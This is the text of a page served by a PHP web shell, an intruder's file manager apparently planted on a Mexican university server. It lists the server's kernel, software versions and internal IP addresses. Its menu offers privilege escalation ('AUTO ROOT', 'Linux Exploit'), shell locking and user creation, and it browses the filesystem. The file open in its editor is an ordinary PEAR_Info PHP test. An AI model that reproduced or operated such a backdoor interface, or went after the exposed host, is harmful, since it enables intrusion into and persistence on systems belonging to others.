Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
lib /
php /
test /
PEAR_Info /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
pear2_dir
[ DIR ]
drwxr-xr-x
pear_dir
[ DIR ]
drwxr-xr-x
sysconf_dir
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
user_dir
[ DIR ]
drwxr-xr-x
AllTests.php
2.61
KB
-rw-r--r--
customConfig.phpt
6.52
KB
-rw-r--r--
defaultConfig.phpt
1.48
KB
-rw-r--r--
install.phpt
3.16
KB
-rw-r--r--
PEAR_Info_TestSuite_Standard.php
2.21
KB
-rw-r--r--
render.phpt
4.93
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : defaultConfig.phpt
--TEST-- PEAR_Info using default configuration --FILE-- <?php $ds = DIRECTORY_SEPARATOR; $dir = dirname(__FILE__); $sysconfdir = $dir . $ds . 'sysconf_dir'; $peardir = $dir . $ds . 'pear_dir'; putenv("PHP_PEAR_SYSCONF_DIR=" . $sysconfdir); chdir($dir); // we get PEAR_Info class only here due to setting of PEAR_CONFIG_SYSCONFDIR include_once 'PEAR/Info.php'; if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { $conf_file = $sysconfdir . $ds . 'pearsys.ini'; } else { $conf_file = $sysconfdir . $ds . 'pear.conf'; } if (!file_exists($conf_file)) { // write once PEAR system-wide config file for simulation $config =& PEAR_Config::singleton(); $config->set('php_dir', $peardir); $config->writeConfigFile($conf_file); } /** * TestCase 1: * default class constructor without parameter * * Must use the pear config files into the default system directory * (PEAR_CONFIG_SYSCONFDIR). */ $testCase = 'testConfigFilesExistInSysConfDir'; $pearInfo = new PEAR_Info(); $result = (!is_null($pearInfo->reg)) ? 'OK' : 'System PEAR configuration files does not exist'; echo $testCase . ' : ' . $result; ?> --CLEAN-- <?php $ds = DIRECTORY_SEPARATOR; $dir = dirname(__FILE__); $sysconfdir = $dir . $ds . 'sysconf_dir'; if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { $conf_file = $sysconfdir . $ds . 'pearsys.ini'; } else { $conf_file = $sysconfdir . $ds . 'pear.conf'; } unlink ($conf_file); ?> --EXPECT-- testConfigFilesExistInSysConfDir : OK
Close